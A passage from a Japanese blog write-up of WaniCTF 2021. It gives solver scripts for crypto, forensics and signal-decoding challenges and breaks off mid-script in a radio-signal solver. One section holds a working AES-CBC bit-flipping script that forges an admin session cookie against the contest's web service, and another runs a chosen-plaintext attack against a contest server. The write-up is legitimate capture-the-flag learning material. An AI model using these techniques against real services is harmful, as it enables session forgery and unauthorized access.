プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

WaniCTF 2021 write-up

WaniCTF 2021に参加しました。そのwrite-up記事です。問題等はwani-hackase/wanictf2021-writeupで公開されています。

コンテスト概要

2021/11/05(金) 20:00 +09:00 - 2021/11/07(日) 20:00 +09:00 の開催期間でした。他ルールはInformationページより引用します:

ルール

個人参加形式です。1 人 1 アカウントとなります。

以下の 6 つのカテゴリで出題されます。

    Crypto
    Forensics
    Misc
    Pwn
    Reversing
    Web

それぞれの問題に隠されたフラグを見つけ出してスコアサーバーに提出することで点数を獲得できます。

フラグの形式は各問題で指定がない限りFLAG{[0-9a-zA-Z_-.$@!?]+}です。

問題で配布されるソースコードには偽フラグとしてFAKE{[0-9a-zA-Z_-.$@!?]+}が含まれています。偽フラグを提出しても点数を獲得することはできません。

各問題で獲得できる点数は問題ごとの正答数によって変動します。(正答数が少ない問題ほど獲得できる得点が高くなります)

獲得点数の合計によって順位が決まります。同一得点の場合は先にその点数となった参加者を上位とします。

結果

正の得点を得ている330アカウント中、5564点で11位でした。

結果と得点カテゴリ

環境

基本的にはWindows+WSL2(Ubuntu)で、問題によってはVirtualBox(REMnux7)で取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19043.1320]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Running         2

c:\>

他ソフト

  • IDA(Free版) Version 7.0.19002 Windows x64
  • Google Chrome Version 95.0.4638.69 (Official Build) (64-bit)
  • TestDisk 7.2-WIP
  • Audacity 3.1.0

WSL2(Ubuntu)

$ cat /proc/version
Linux version 5.10.60.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Aug 25 23:20:18 UTC 2021
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 21.2.4
$ python3.8 -m pip show IPython | grep Version
Version: 7.26.0
$ python3.8 -m pip show requests | grep Version
Version: 2.26.0
$ python3.8 -m pip show pycryptodome | grep Version
Version: 3.10.1
$ python3.8 -m pip show pwntools | grep Version
Version: 4.6.0
$ python3.8 -m pip show matplotlib | grep Version
Version: 3.4.3
$ gdb --version
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ curl --version
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
$

VirtualBox(REMnux7)

remnux@remnux:~$ cat /proc/version
Linux version 4.15.0-118-generic (buildd@lgw01-amd64-039) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #119-Ubuntu SMP Tue Sep 8 12:30:01 UTC 2020
remnux@remnux:~$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
remnux@remnux:~$

解けた問題

[Crypto, Beginner] fox (159pt, 174solved)

What does the fox say?🦊

配布ファイルを確認すると、以下のchall.pyとその出力結果output.txtが含まれていました:

flag = b"FAKE{REDACTED}"


def bytes_to_int(B: bytes):
    X = 0
    for b in B:
        X <<= 8
        X += b
    return X


print(bytes_to_int(flag))
19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197

復元する以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

c = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197
l = []
while c > 0:
    l.append(chr(c%256))
    c //= 256
print("".join(reversed(l)))
$ ./solve.py
FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
$

フラグを入手できました: FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

[Crypto, Easy] dango (187pt, 109solved)

🍡

問題文が絵文字1文字であることに困惑しつつ配布ファイルを確認すると、同様にchall.pyとその出力結果output.txtが含まれていました:

import secrets
from functools import reduce

flag = b"FAKE{REDACTED}"
key = [secrets.token_bytes(len(flag)) for _ in range(3)]


def XOR(*X):
    xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
    return reduce(xor, X)


ciphertext = XOR(flag, key[0])
A = XOR(key[0], key[1], key[2])
B = XOR(key[0], key[1])
C = XOR(key[1], key[2])

print(f"ciphertext : {ciphertext.hex()}")
print(f"A : {A.hex()}")
print(f"B : {B.hex()}")
print(f"C : {C.hex()}")
ciphertext : bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0
A : cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359
B : e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7
C : 319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4

XORでkeyを復元してフラグを得る以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

import pwn

ciphertext = bytes.fromhex("bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0")
A = bytes.fromhex("cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359")
B = bytes.fromhex("e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7")
C = bytes.fromhex("319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4")

key2 = pwn.xor(A, B)
key1 = pwn.xor(C, key2)
key0 = pwn.xor(B, key1)
print(pwn.xor(key0, ciphertext).decode())
$ ./solve.py
FLAG{dango_sankyodai_dango__-ooo-}
$

だんご3兄弟のフラグを入手できました: FLAG{dango_sankyodai_dango__-ooo-}

[Crypto, Normal] Sweet curve (232pt, 62solved)

🥠🍩🍪

またもや問題文が絵文字だけであることに困惑しつつ配布ファイルを確認すると、以下のparameters.txtが含まれていました:

# Given:
# - An elliptic curve: y**2 = x**3 - x + 1 (mod p)
# - Two points: P(x_P, y_P) and Q(x_Q, y_Q)

# Find the point P+Q
# The flag is the x value of P+Q
# Don't forget to convert it into a string!
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3

楕円曲線上の2点の足し算結果を求める問題のようです(コメント箇所は問題文に書いてもよいのでは……?)。最終的に以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3

# https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication#Point_addition
l = (y_Q - y_P) * pow(x_Q - x_P, -1, p)
x_R = (l*l - x_P - x_Q) % p
y_R = (l * (x_P - x_R) - y_P) % p
assert (y_R**2) % p == (x_R ** 3 - x_R + 1) % p
print(bytes.fromhex(hex(x_R)[2:]).decode())
$ ./solve.py
FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}
$

フラグを入手できました: FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}

(最初のうちはDon't forget to convert it into a string!の言っている意味が分からず悩んでいました。足し算結果のX座標を16進数表記出力するとASCII範囲と分かるので16進数デコードすればいい、と気づくまでしばらくかかりました。)

[Crypto, Hard] AES-NOC (276pt, 39solved)

AES-CBCか...って、あれ?

nc aesnoc.crypto.wanictf.org 50000

配布ファイルを確認すると、以下のchall.pyが含まれていました:

import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor

from secret import flag


class AESNOC:
    def __init__(self, key: bytes, iv: bytes):
        self.iv = iv
        self.key = key
        self.block_size = AES.block_size

    def encrypt(self, plaintext: bytes):
        cipher = AES.new(self.key, AES.MODE_ECB)
        plaintext = pad(plaintext, self.block_size)
        P = [
            plaintext[i : i + self.block_size]
            for i in range(0, len(plaintext), self.block_size)
        ]
        C = []

        P_prev = self.iv
        for p in P:
            c = cipher.encrypt(p)
            C.append(strxor(c, P_prev))
            P_prev = p

        return b"".join(C)


def main():
    key = os.urandom(16)
    iv = os.urandom(16)
    cipher = AESNOC(key, iv)

    assert len(flag) == 49
    assert flag.startswith(b"FLAG{")
    assert flag.endswith(b"}")

    iv = iv.hex()
    print(f"{iv = }")
    while True:
        print("1. Get encrypted flag")
        print("2. Encrypt")
        choice = int(input("> "))
        if choice == 1:
            encrypted_flag = cipher.encrypt(flag).hex()
            print(f"{encrypted_flag = }")
        elif choice == 2:
            plaintext = input("Plaintext [hex] > ")
            plaintext = bytes.fromhex(plaintext)
            ciphertext = cipher.encrypt(plaintext).hex()
            print(f"{ciphertext = }")
        else:
            print("Bye")
            break


if __name__ == "__main__":
    main()

つまり、nc接続先サーバーは以下の2つの機能を提供してくれます:

  • 暗号化フラグ内容
  • 指定平文を暗号化した内容

コードを見ながら考えていると、以下の2点に気づきました:

  • NOCと呼んでいる暗号化処理は、パディング後にCBCモードの復号を行う処理です
  • AESは1ブロック16バイトかつフラグが49バイトであるためで、最後のブロックの平文は「フラグ最後の'}'に15バイトのパディングをしたブロック」と分かります

つまり、「0x00だけのブロック」の次に「既知である平文のブロック」を繋いだ平文をサーバーに暗号化してもらうと、「既知である平文のブロック」の暗号化結果そのものが分かります。後は暗号化フラグの後ろのブロックからXORを取ることで、平文フラグのブロックが後ろから判明します。

CBCモード復号の図を見ながら、以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

import pwn
import re
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def extract_hex_bytes(prefix, line):
    search_result = re.search(f"{prefix}'([0-9a-f]*)'", line)
    assert search_result
    return bytes.fromhex(search_result.group(1))

def get_encrypted_flag(tube):
    tube.sendlineafter(b"> ", b"1")
    line = tube.recvlineS()
    return extract_hex_bytes("encrypted_flag = ", line)

def encrypt(tube, block):
    assert len(block) == AES.block_size
    tube.sendlineafter(b"> ", b"2")
    tube.sendlineafter(b"Plaintext [hex] > ", b"00"*16 + block.hex().encode())
    line = tube.recvlineS()
    encrypted = extract_hex_bytes("ciphertext = ", line)
    return encrypted[AES.block_size : 2*AES.block_size]

def solve(tube):
    encrypted_flag = get_encrypted_flag(tube)
    print(f"{encrypted_flag = }")

    last_plain_block = pad(b"}", AES.block_size)
    flag = last_plain_block
    for block_index in range(3, 0, -1):
        encrypted_block = encrypt(tube, last_plain_block)
        plain_block = pwn.xor(
            encrypted_block,
            encrypted_flag[block_index*AES.block_size : (block_index+1)*AES.block_size])
        last_plain_block = plain_block
        flag = plain_block + flag
    print(unpad(flag, AES.block_size).decode())

with pwn.remote("aesnoc.crypto.wanictf.org", 50000) as tube:
    solve(tube)
$ ./solve.py
[+] Opening connection to aesnoc.crypto.wanictf.org on port 50000: Done
encrypted_flag = b"I\x86\xb2\x05\x19\xab\xe8\xb8w\x8b>\xdc\x1c\x97\xd9\xbc\t\x04\xa0[?\x85\xa0\xf7\x85\x99\xf2\xd5%a4D\xe2g\xf6SI\xa0\x8d\xa1\xb1\xe8'\xacyF\xc9\x82B\xd3/\xef\x8cr\xf3\x1f\xea\xc0\xe1\x03\x11\x94\xf5["
FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}
[*] Closed connection to aesnoc.crypto.wanictf.org port 50000
$

フラグを入手できました: FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}

とても面白い問題だと思いました。なお、取り組み初期に「0x00だけのブロック2つを平文として暗号化してもらってXORするとivが分かる!」と気付いて内心盛り上がっていましたが、そもそも実行初期に与えられることが分かってずっこけてました。そして結局全く使いませんでしたね……。

[Crypto, Very hard] Flag Service (326pt, 24solved)

🚩🤵

https://service.crypto.wanictf.org

またもや問題文が実質的に絵文字だけであることに困惑しながら配布ファイルを確認すると、Webサービス用のファイルが含まれていました。その中に以下のapp.pycipher.pyが含まれていました:

from cipher import AESCBC
from flask import Flask, redirect, render_template, request
from secret import flag

app = Flask(__name__)
cipher = AESCBC()


@app.route("/")
def index():
    try:
        token = request.cookies.get("token")
        session = cipher.decrypt(token)
        return render_template("index.html", session=session, flag=flag)
    except Exception:
        pass
    return render_template("index.html")


@app.route("/login", methods=["POST"])
def login():
    username = request.form.get("username")
    session = {"admin": False, "username": username}
    token = cipher.encrypt(session)

    response = redirect("/")
    response.set_cookie("token", token)
    return response


@app.route("/logout", methods=["POST"])
def logout():
    response = redirect("/")
    response.set_cookie("token", expires=0)
    return response


if __name__ == "__main__":
    app.run()
import base64
import json
import os

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad


class AESCBC:
    def __init__(self):
        self.key = os.urandom(16)

    def encrypt(self, data: str):
        cipher = AES.new(self.key, AES.MODE_CBC)

        iv = cipher.iv
        data = json.dumps(data)

        ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size))

        token = base64.b64encode(iv + ciphertext)
        return token

    def decrypt(self, token: bytes):
        token = base64.b64decode(token)

        iv, ciphertext = token[: AES.block_size], token[AES.block_size :]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)

        plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)

        data = json.loads(plaintext)
        return data

Webページを試しに触ったり、上のコードを読んでみたりすると、以下のことが分かりました:

  • ログイン時にはadmin値がFalseであるトークンが作られる
  • admin値がTrueであるトークンを偽装すればフラグが手に入る
  • トークンをAES-CBCで暗号化したものをクッキーでやり取りする

前の問題と同様にCBCモードの復号処理の図を見ていると、ivの特定ビットの0/1を反転させれば最初のブロックの対応するビットも反転することに気づきます。そういうわけで以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

import requests
import base64
from Crypto.Util.strxor import strxor

BASE_URI = "https://service.crypto.wanictf.org"

def get_nonadmin_token_bytes(session):
    session.post(f"{BASE_URI}/login", data={"username": "test"})
    return base64.b64decode(session.cookies.get("token"))

def login_as_admin(session, token_bytes):
    prefix = '{"admin": '
    xor_key = strxor(b"false", b"true ")
    new_token_bytes = bytearray(token_bytes)
    for (i, b) in enumerate(xor_key):
        new_token_bytes[len(prefix)+i] ^= b

    encoded_token = base64.b64encode(new_token_bytes).decode()
    session.cookies.set("token", encoded_token, domain="service.crypto.wanictf.org", path="/")
    r = session.get(BASE_URI)
    print(r.text)

with requests.Session() as session:
    token_bytes = get_nonadmin_token_bytes(session)
    login_as_admin(session, token_bytes)
$ ./solve.py
<!doctype html>
<html lang="en">
    <head>
        <title>Flag Service</title>
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
    </head>
    <body>
        <div class="container">
        <h1 class="display-4">Welcome to Flag Service</h1>
        <p class="lead">
            Hi! Welcome to Flag Service.
            You must be an admin to enjoy our "special" service.
        </p>

            <p class="lead">
                    Welcome, test.

                        Here is special service!! <kbd>FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}</kbd>.

            </p>
            <form method="post" action="/logout">
                <button type="submit" class="btn btn-primary mb-2">Logout</button>
            </form>

        </div>
    </body>
</html>
$

フラグを入手できました: <kbd>FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}

最初はクッキーの設定を、session.cookies.setによる状態設定ではなくsession.getの引数で与えるように書いていましたが、それだと失敗しました。sessionを使う場合は状態管理をしっかりしたほうが良さそう……?

[Forensics, Beginner] propaganda (145pt, 238solved)

超人気ゲームをみんなでプレイしよう!

配布ファイルを確認すると16秒のmp4ファイルでした。再生してみると、FPSゲーム(?)のプレイ動画がメインで、何度か一瞬だけフラグが表示される内容でした。動画再生ソフトのコマ送り機能を使ってフラグを確認しました:

フラグを入手できました: FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}

[Forensics, Easy] partition01 (177pt, 126solved)

新しくUSBを買ったのでたくさんパーティションを作ってみました!

配布ファイルを確認すると、partition.imgがありました。とりあえずtestdiskで解析してみると、パーティション名の1つにフラグが書かれていました:

フラグを入手できました: FLAG{GPT03}

[Forensics, Easy] sonic (197pt, 95solved)

妖怪からのメッセージです.

    音量注意!

配布ファイルを確認すると、flag.wavが含まれていました。

悩んだ問題の1つです。WaniCTF'21-springで出題されたslow問題はsstv(Slow Scan TV)という方式で復号する問題だったので、今回もsonicと付くようなエンコード手法が使われているのかなと思ってググっていましたが全くヒットしませんでした。

しばらく悩んだ後、何となくスペクトログラムを表示してみるとそこにフラグがありました、びっくりです:

フラグを入手できました: FLAG{Messages_du_spectre}

[Forensics, Hard] partition02 (203pt, 87solved)

FLAG01とFLAG02にflag画像を分割して入れておきました.

    添付のファイルは"partition01"と同じものです.

partition01問題同様にtestdiskを使ってパーティションを見ていると、FLAG01パーティションとFLAG02パーティションの中にflag画像がありました。後はそれをcatコマンドで結合しました(concatenate目的でcatを使う珍しいパターン!):

$ cat flag01.png flag02.png > flag-parition2.png

画像を表示するとフラグが書かれていました:

フラグを入手できました: FLAG{you_found_flag_in_FLAGs}

[Forensics, Very hard] breakRAID (326pt, 24solved)

HDDが1台壊れてしまったみたいです.

配布ファイルを確認すると、ディスク用らしいファイルが3個含まれていました:

$ tar -zxvf breakRAID.tar.gz
disks/
disks/disk01
disks/disk02
disks/disk00
$ file disks/*
disks/disk00: data
disks/disk01: Linux Software RAID version 1.2 (1) UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0 level=5 disks=3
disks/disk02: Linux Software RAID version 1.2 (1) UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0 level=5 disks=3
$

disk00ファイルの中身は全部0x00のようでした。それが壊れたHDDなのでしょう。

fileコマンドの出力でググっていると、mdadmでソフトRAIDを構築してみる(RAID 5編):ぴろにっき:SSブログが見つかりました。その記事によると、level=5箇所がRAID5の意味で、disks=3箇所がディスク3台でRAIDを構成するとの意味みたいです。また、mdadmコマンドについても紹介されていました。

ファイルをもとにRAIDを構成する方法を調べると、mount - Create RAID array of image files - Ask Ubuntuを見つけました。losetupコマンドを使うようです。

これらの情報をもとにRAIDを構成してみることにしました。WSLではそのあたりが上手くいくか不安だったので、VirtualBoxのREMnuxを使いました。以下、試行錯誤した実行履歴です:

remnux@remnux:~/work$ losetup --version
losetup from util-linux 2.31.1
remnux@remnux:~/work$ mdadm --version
mdadm - v4.1-rc1 - 2018-03-22
remnux@remnux:~/work$ sudo losetup /dev/loop1 disk01
remnux@remnux:~/work$ sudo losetup /dev/loop2 disk02
remnux@remnux:~/work$ sudo mdadm --assemble /dev/md0 /dev/loop1 /dev/loop2
mdadm: /dev/loop1 is busy - skipping
mdadm: /dev/loop2 is busy - skipping
remnux@remnux:~/work$ sudo mdadm -Es
ARRAY /dev/md/0  metadata=1.2 UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0
remnux@remnux:~/work$ sudo mdadm --detail /dev/md/0
mdadm: cannot open /dev/md/0: No such file or directory
remnux@remnux:~/work$ ls -AlF /dev/md/ishioka\:0
lrwxrwxrwx 1 root root 8 11月  6 03:19 /dev/md/ishioka:0 -> ../md127
remnux@remnux:~/work$ ls -AlF /dev/md127
brw-rw---- 1 root disk 9, 127 11月  6 03:19 /dev/md127
remnux@remnux:~/work$ sudo mdadm --detail /dev/md127
/dev/md127:
           Version : 1.2
     Creation Time : Thu Oct 21 01:14:50 2021
        Raid Level : raid5
        Array Size : 195584 (191.00 MiB 200.28 MB)
     Used Dev Size : 97792 (95.50 MiB 100.14 MB)
      Raid Devices : 3
     Total Devices : 2
       Persistence : Superblock is persistent

       Update Time : Fri Oct 22 00:36:48 2021
             State : clean, degraded
    Active Devices : 2
   Working Devices : 2
    Failed Devices : 0
     Spare Devices : 0

            Layout : left-symmetric
        Chunk Size : 512K

Consistency Policy : resync

              Name : ishioka:0
              UUID : 2dfa6967:99457c4e:cce8f079:7a80f14d
            Events : 54

    Number   Major   Minor   RaidDevice State
       -       0        0        0      removed
       1       7        1        1      active sync   /dev/loop1
       3       7        2        2      active sync   /dev/loop2
remnux@remnux:~/work$ sudo mount /dev/md127 /mnt
remnux@remnux:~/work$ ls /mnt
01.png  03.png  05.png  07.png  09.png  11.png  13.png  15.png  17.png  lost+found
02.png  04.png  06.png  08.png  10.png  12.png  14.png  16.png  18.png
remnux@remnux:~/work$

18個の画像それぞれに、フラグが1文字1文字描かれていました:

フラグを入手できました: FLAG{ra1dr4idxxxx}

余談ですが、どうやらmdadmパッケージをインストール済みの状態ではlosetupするだけで自動的にmdadm --assemble相当のことが行われるようです。losetup→mdadmパッケージインストール、という手順ではmdadm --assembleを自分で実行する必要がありました。

[Misc, Beginner] binary (168pt, 147solved)

    無線通信問題1問目です。
    文字も所詮1と0の集合です。
    sample.pyを参考に復号器を作ってみてください。
    binary.csvは1列目が時刻、2列目がON-OFFの信号を表しています。
    ASK、ASK over the airと進む中で無線通信の面白さが伝われば...と思っています。
    「binary」はWaniCTF 2021-springとほぼ同じ問題なのでハードルが高いと感じる人は、「WaniCTF 2021-spring binary writeup」でぐぐりつつ解いてみてください。

配布ファイルを確認すると、以下のようなbinary.csvが含まれていました:

time,signal
0.000000 ,0
0.000004 ,1
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,1
0.000024 ,1
0.000028 ,0
(以下省略)

同じく配布ファイルに含まれているsample.pyを確認すると、各バイトをMSBから順に処理するものでした。それを参考に以下のソルバーを書いて実行しました

#!/usr/bin/env python3.8

bits = []
with open("binary.csv") as f:
    for line in f:
        if line.startswith("time,signal"): continue
        bits.append(int(line.split(",")[1]))

tmp = 0
for (i, bit) in enumerate(bits):
    tmp = (tmp << 1) | bit
    if i % 8 == 7:
        print(chr(tmp), end="")
        tmp = 0
print()
$ ./solve.py
FLAG{binary-is-essential-for-communication}

$

フラグを入手できました: FLAG{binary-is-essential-for-communication}

[Misc, Easy] docker_dive (190pt, 104solved)

Dockerの中に入ってsolverを実行してください。

    Install Docker !
    与えられたDockerfileでDockerをbuildしてください
    dockerのなかに/bin/shを実行して入ってください
    /bin/bashでエラーがでる場合は/bin/shです。
    solverを実行してください

Dockerは個人の環境に関係なく同じ環境を構築するために使われます。
一部のpwn問題は問題サーバー構築に使ったDockerfileを一緒に提供しています。
ローカルで動いてリモートで動かない場合はDockerを使って確認しましょう!

WSL2ではdockerが使えると聞いていたので、最初はWSL2上で解こうとしました。しかしdocker関係のパッケージをインストールしてもエラーが起こる状況でした:

$ sudo docker images
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
$

よく分からなかったので、この問題もVirtualBoxのREMnuxを使いました。dockerのimagesとcontainerの違いなどをググったり、docker build時にDockerfileのあるディレクトリではなくて間違えてDockerfileそのものを指定しまったり、オプションが不足していて実行しても何も表示されなかったりしながら、試行錯誤していました。最終的に、次のようにするとうまくいきました:

remnux@remnux:~/work/mis-docker$ docker --version
Docker version 19.03.13, build 4484c46d9d
remnux@remnux:~/work/mis-docker$ ls
Dockerfile  solver
remnux@remnux:~/work/mis-docker$ docker build --tag ctf:1.0 ./
Sending build context to Docker daemon  17.41kB
Step 1/6 : FROM alpine:3.14
 ---> 14119a10abf4
Step 2/6 : WORKDIR /home/misc
 ---> Running in 8ccf082bd05e
Removing intermediate container 8ccf082bd05e
 ---> 88744ba09c5f
Step 3/6 : ADD ./solver /home/misc/solver
 ---> f77e14f69d22
Step 4/6 : RUN chmod 550 /home/misc/solver
 ---> Running in 2578a517de79
Removing intermediate container 2578a517de79
 ---> 731c7aeb7402
Step 5/6 : RUN apk add libc6-compat
 ---> Running in b56615aa14cc
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX.tar.gz
(1/1) Installing libc6-compat (1.2.2-r3)
OK: 6 MiB in 15 packages
Removing intermediate container b56615aa14cc
 ---> f15e10cdf450
Step 6/6 : RUN ls /home/misc -lh
 ---> Running in 5ced6ee2c7f5
total 16K
-r-xr-x---    1 root     root       14.1K Nov  6 07:43 solver
Removing intermediate container 5ced6ee2c7f5
 ---> 7c16767cb921
Successfully built 7c16767cb921
Successfully tagged ctf:1.0
remnux@remnux:~/work/mis-docker$ docker run --interactive --tty ctf:1.0
/home/misc # ls
solver
/home/misc # whoami
root
/home/misc # ./solver
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}/home/misc # exit
remnux@remnux:~/work/mis-docker$

なんとかフラグを入手できました: FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}

[Misc, Normal] digital ASK (240pt, 57solved)

    無線通信問題2問目です。
    WaniCTF 2021-springとほぼ同じ問題です。
    この後の「ASK over the air」に関わるので以下の情報を意識して解いてみて下さい。
        無線通信のフレームフォーマット
        preambleは10を16回繰り返した0xAAAAAAAA
        start frame delimiter (SFD)は0xE5
    実務では↑の情報もブラインドで解析することが多いです。

配布ファイルを確認すると、以下のようなdigital_ask.csvが含まれていました:

time,signal
0.000000 ,0
0.000004 ,0
0.000008 ,0
0.000012 ,0
(以下省略)

WaniCTF 2021-springのask問題では同一ビットが複数行に渡って記録されていたので今回もそうなんだろうと見てみると、今回はどうやら1ビットが16行分連続しているようでした。そういうわけで以下のソルバーを書いて実行しました:

#!/usr/bin/env python3.8

original_bits = []
with open("digital_ask.csv") as f:
    one_occured = False
    for line in f:
        if line.startswith("time,signal"): continue
        b = int(line.split(",")[1])
        if b == 1:
            one_occured = True
        if one_occured:
            original_bits.append(b)

compressed_bits = []
for i in range(len(original_bits)//16):
    chunk = original_bits[i*16:(i+1)*16]
    assert all(map(lambda b: b==chunk[0], chunk))
    compressed_bits.append(chunk[0])

result = bytearray()
tmp = 0
for (i, b) in enumerate(compressed_bits):
    tmp = (tmp << 1) | b
